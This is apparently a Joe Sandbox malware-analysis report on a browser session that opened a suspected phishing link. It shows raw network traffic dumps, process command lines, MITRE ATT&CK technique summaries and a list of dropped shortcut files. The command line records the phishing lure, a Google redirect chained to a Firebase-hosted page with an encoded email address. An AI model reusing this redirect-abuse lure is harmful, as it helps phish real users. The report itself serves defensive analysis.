2024-04-24 22:49:31 UTC	1169	IN	Data Raw: 55 37 4e 4d 55 2b 51 77 64 47 53 44 75 48 42 30 55 38 64 37 77 45 42 2f 79 49 78 38 61 48 75 59 72 44 53 34 64 38 41 72 75 39 43 67 6e 39 42 73 4b 47 50 62 39 39 42 4c 36 2b 51 30 39 48 54 55 66 52 42 4a 46 42 52 6c 42 53 52 38 74 47 51 38 52 52 6a 59 73 56 43 63 52 4c 6a 6b 32 53 53 31 62 4c 56 41 77 56 30 78 54 5a 53 56 6b 4e 79 64 66 52 57 67 71 4c 6d 4a 53 53 6e 51 79 53 57 4e 74 4d 44 4a 5a 55 57 6c 62 61 56 5a 37 51 57 4e 54 55 6a 35 6b 59 33 4e 7a 52 31 6d 47 69 57 52 61 61 6b 69 4f 62 6f 42 51 5a 70 4f 4c 67 33 56 59 65 6f 6c 32 56 33 74 74 66 35 65 4f 66 5a 39 6c 65 56 75 6f 6d 47 79 49 65 71 35 2f 6b 70 35 70 63 49 43 55 6d 49 36 4f 6b 4a 6d 74 65 4a 36 75 6c 4c 65 78 67 62 74 2b 68 62 4f 49 75 59 65 70 6c 4c 75 49 7a 38 33 4e 76 49 33 49 31 73 Data Ascii: U7NMU+QwdGSDuHB0U8d7wEB/yIx8aHuYrDS4d8Aru9Cgn9BsKGPb99BL6+Q09HTUfRBJFBRlBSR8tGQ8RRjYsVCcRLjk2SS1bLVAwV0xTZSVkNydfRWgqLmJSSnQySWNtMDJZUWlbaVZ7QWNTUj5kY3NzR1mGiWRaakiOboBQZpOLg3VYeol2V3ttf5eOfZ9leVuomGyIeq5/kp5pcICUmI6OkJmteJ6ulLexgbt+hbOIuYeplLuIz83NvI3I1s
2024-04-24 22:49:31 UTC	1369	IN	Data Raw: 64 38 37 0d 0a 30 2f 50 6d 52 33 67 45 75 48 52 31 78 4b 66 6d 5a 4e 67 6c 42 4e 55 70 4e 76 64 6f 56 56 63 70 46 39 56 6d 78 71 6e 49 74 30 58 57 2b 6b 68 34 42 36 70 6e 64 33 62 4b 69 51 6b 6e 71 55 72 49 43 57 68 4a 56 31 75 59 53 53 6a 49 65 64 75 71 32 39 75 61 53 6d 78 48 6d 6b 70 4d 71 36 74 72 72 50 76 63 71 77 30 61 57 39 31 49 2f 53 78 38 4f 79 74 35 6d 33 33 72 37 58 33 36 2b 62 78 62 75 2b 77 39 72 70 78 75 4c 63 72 4d 58 61 32 4b 37 4d 79 39 32 76 39 74 44 35 30 4f 2f 52 32 73 62 5a 31 74 37 79 38 4e 48 35 39 2f 51 46 39 38 45 42 36 4f 76 64 77 50 6b 4c 42 73 7a 6e 44 67 6f 55 37 67 72 6b 35 68 48 76 44 64 73 4a 37 78 6f 43 49 78 34 50 2f 4f 49 44 49 78 73 56 43 76 63 72 43 77 34 4c 36 67 30 6f 39 44 63 44 4e 54 45 38 45 69 33 38 44 69 67 66 Data Ascii: d870/PmR3gEuHR1xKfmZNglBNUpNvdoVVcpF9VmxqnIt0XW+kh4B6pnd3bKiQknqUrICWhJV1uYSSjIeduq29uaSmxHmkpMq6trrPvcqw0aW91I/Sx8Oyt5m33r7X36+bxbu+w9rpxuLcrMXa2K7My92v9tD50O/R2sbZ1t7y8NH59/QF98EB6OvdwPkLBsznDgoU7grk5hHvDdsJ7xoCIx4P/OIDIxsVCvcrCw4L6g0o9DcDNTE8Ei38Digf
2024-04-24 22:49:31 UTC	1369	IN	Data Raw: 5a 6d 56 47 42 71 61 56 70 6d 51 6d 6c 64 54 55 71 53 5a 56 65 50 63 33 6d 61 65 32 6c 71 6e 58 69 68 6b 4a 31 31 70 6e 39 77 66 48 71 4a 65 4b 69 4b 6f 34 46 35 61 59 47 4d 73 5a 47 58 64 4b 75 44 6b 72 79 31 65 4c 36 7a 6e 33 78 37 6b 4d 53 42 78 62 75 6b 71 4d 71 68 7a 49 32 32 6d 4d 75 4f 70 73 44 51 76 37 58 51 6b 63 76 49 78 4d 2b 63 75 4d 75 53 32 70 79 2b 6c 71 36 31 35 65 69 34 78 62 62 59 7a 63 72 5a 71 75 58 77 73 2b 48 57 74 62 58 6f 32 4c 54 4f 39 50 58 6d 76 76 37 74 7a 2f 75 2b 7a 75 2f 6f 42 75 49 47 33 4f 50 6c 44 4d 72 61 32 51 48 6b 33 2b 38 4c 7a 76 6e 71 46 77 34 50 39 4f 59 66 44 41 38 43 39 51 38 64 4a 76 50 32 42 52 6e 36 43 67 4d 4b 37 2f 41 47 48 2b 38 41 43 50 51 6e 4c 67 59 49 46 52 51 51 43 44 2f 32 46 6a 74 44 4d 68 4a 49 41 Data Ascii: ZmVGBqaVpmQmldTUqSZVePc3mae2lqnXihkJ11pn9wfHqJeKiKo4F5aYGMsZGXdKuDkry1eL6zn3x7kMSBxbukqMqhzI22mMuOpsDQv7XQkcvIxM+cuMuS2py+lq615ei4xbbYzcrZquXws+HWtbXo2LTO9PXmvv7tz/u+zu/oBuIG3OPlDMra2QHk3+8LzvnqFw4P9OYfDA8C9Q8dJvP2BRn6CgMK7/AGH+8ACPQnLgYIFRQQCD/2FjtDMhJIA
2024-04-24 22:49:31 UTC	732	IN	Data Raw: 69 59 57 31 39 66 57 36 55 54 6e 56 6b 59 6e 70 35 62 48 74 32 64 32 74 36 63 35 56 77 66 5a 69 59 68 61 68 71 6d 6f 70 36 62 6f 32 4b 6a 34 36 4e 6c 58 2b 47 70 34 6d 47 6d 71 75 49 68 70 36 55 69 34 6d 38 6c 59 36 64 74 4a 61 52 75 4b 61 6e 71 35 72 4a 74 36 36 75 77 62 4b 68 78 4a 61 2f 75 62 62 5a 72 72 4f 70 30 4e 4b 72 71 64 44 51 72 72 33 47 78 73 58 71 75 39 32 33 36 36 33 43 78 4c 6d 78 79 73 48 50 79 75 72 43 36 63 50 74 79 73 58 77 38 64 44 76 39 50 58 55 39 4f 62 63 30 39 45 46 33 64 62 6c 2f 4e 37 5a 41 65 37 76 38 2b 49 53 41 50 62 32 43 76 72 70 44 64 34 49 41 76 34 69 39 76 76 78 47 52 76 7a 38 52 6b 5a 39 53 30 4c 44 77 34 7a 42 43 59 41 4e 50 55 4c 43 44 6b 58 47 52 45 47 2f 52 63 53 47 6a 6b 79 4a 67 38 31 47 52 6f 55 48 79 6b 65 46 79 Data Ascii: iYW19fW6UTnVkYnp5bHt2d2t6c5VwfZiYhahqmop6bo2Kj46NlX+Gp4mGmquIhp6Ui4m8lY6dtJaRuKanq5rJt66uwbKhxJa/ubbZrrOp0NKrqdDQrr3GxsXqu923663CxLmxysHPyurC6cPtysXw8dDv9PXU9Obc09EF3dbl/N7ZAe7v8+ISAPb2CvrpDd4IAv4i9vvxGRvz8RkZ9S0LDw4zBCYANPULCDkXGREG/RcSGjkyJg81GRoUHykeFy
2024-04-24 22:49:31 UTC	1023	IN	Data Raw: 33 66 38 0d 0a 49 6d 41 66 36 61 4a 68 5a 53 59 6b 59 65 2b 6d 4a 53 53 6d 38 4b 68 6b 34 2b 79 6e 70 50 4a 76 71 6d 62 70 37 72 41 6e 4e 48 43 70 61 43 76 30 71 79 6c 74 4c 69 36 71 4e 2b 73 74 4b 2b 37 33 72 6d 7a 76 39 36 36 74 4e 6e 65 79 62 37 48 36 73 32 38 75 2b 37 52 77 37 2f 69 31 73 58 55 32 4f 7a 49 37 66 72 56 7a 64 76 36 32 64 44 31 38 74 66 56 31 64 6a 66 32 50 30 48 34 4e 7a 62 39 4f 6e 6a 38 50 44 74 36 76 4d 54 37 65 76 33 45 2f 48 73 49 77 48 7a 38 65 38 6e 47 66 58 7a 4b 77 44 37 39 79 73 42 41 50 77 4e 43 41 63 51 4c 77 77 49 46 44 63 50 43 67 6b 64 48 67 30 4f 45 52 55 51 52 6a 4d 63 46 69 51 74 49 52 6f 6f 50 30 45 63 51 6a 55 6f 49 53 42 54 4e 69 67 6b 57 7a 45 76 4f 46 38 31 4d 43 78 58 4e 44 45 77 53 54 77 30 57 6d 64 64 4f 6a 68 Data Ascii: 3f8ImAf6aJhZSYkYe+mJSSm8Khk4+ynpPJvqmbp7rAnNHCpaCv0qyltLi6qN+stK+73rmzv966tNneyb7H6s28u+7Rw7/i1sXU2OzI7frVzdv62dD18tfV1djf2P0H4Nzb9Onj8PDt6vMT7ev3E/HsIwHz8e8nGfXzKwD79ysBAPwNCAcQLwwIFDcPCgkdHg0OERUQRjMcFiQtIRooP0EcQjUoISBTNigkWzEvOF81MCxXNDEwSTw0WmddOjh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49735	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:31 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/197470931:1713997520:DaXxhv4ov71QJcajASKntCSPo-IrKnIIVexevO593E0/8799a58bde211351/67971d35eb53136 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:32 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 22:49:32 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 6YYTUY7EE4pN5/oplZ3RoA==$oUXAh4qslXIy16QgkziA/w== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8799a5a83c356748-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:32 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49736	23.207.53.201	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:32 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 22:49:32 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=202461 Date: Wed, 24 Apr 2024 22:49:32 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49737	23.207.53.201	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:33 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 22:49:33 UTC	456	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (dcd/7D15) X-CID: 11 Cache-Control: public, max-age=202454 Date: Wed, 24 Apr 2024 22:49:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-24 22:49:33 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49738	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:34 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TL+lUdmeeUc8fc9&MD=XFLVphtz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-24 22:49:34 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2039452b-b133-4a89-9db2-73f1d1c77e94 MS-RequestId: 9e950eb2-557c-4973-9ba6-36ecc8abf341 MS-CV: 9MAuRpjMYUiiCtXh.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 24 Apr 2024 22:49:34 GMT Connection: close Content-Length: 24490
2024-04-24 22:49:34 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-24 22:49:34 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49739	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:50:11 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TL+lUdmeeUc8fc9&MD=XFLVphtz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-24 22:50:12 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 3b80da37-dcf3-4575-8a74-e1ac84b18cb8 MS-RequestId: 8f0669c9-3e1e-4bc5-9f79-d5bd23f8c24e MS-CV: skHUXfZHSkuPGoWe.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 24 Apr 2024 22:50:12 GMT Connection: close Content-Length: 25457
2024-04-24 22:50:12 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-24 22:50:12 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	00:49:21
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.com.np/amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWBmXhCFwzfl%26hl%3Den%26source%3Dgmail#Z2xlbm5Ab2JzaWRpYW5zZWN1cml0eS5jb20=
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	00:49:21
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1976,i,11092379533152841494,16157338052341139847,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage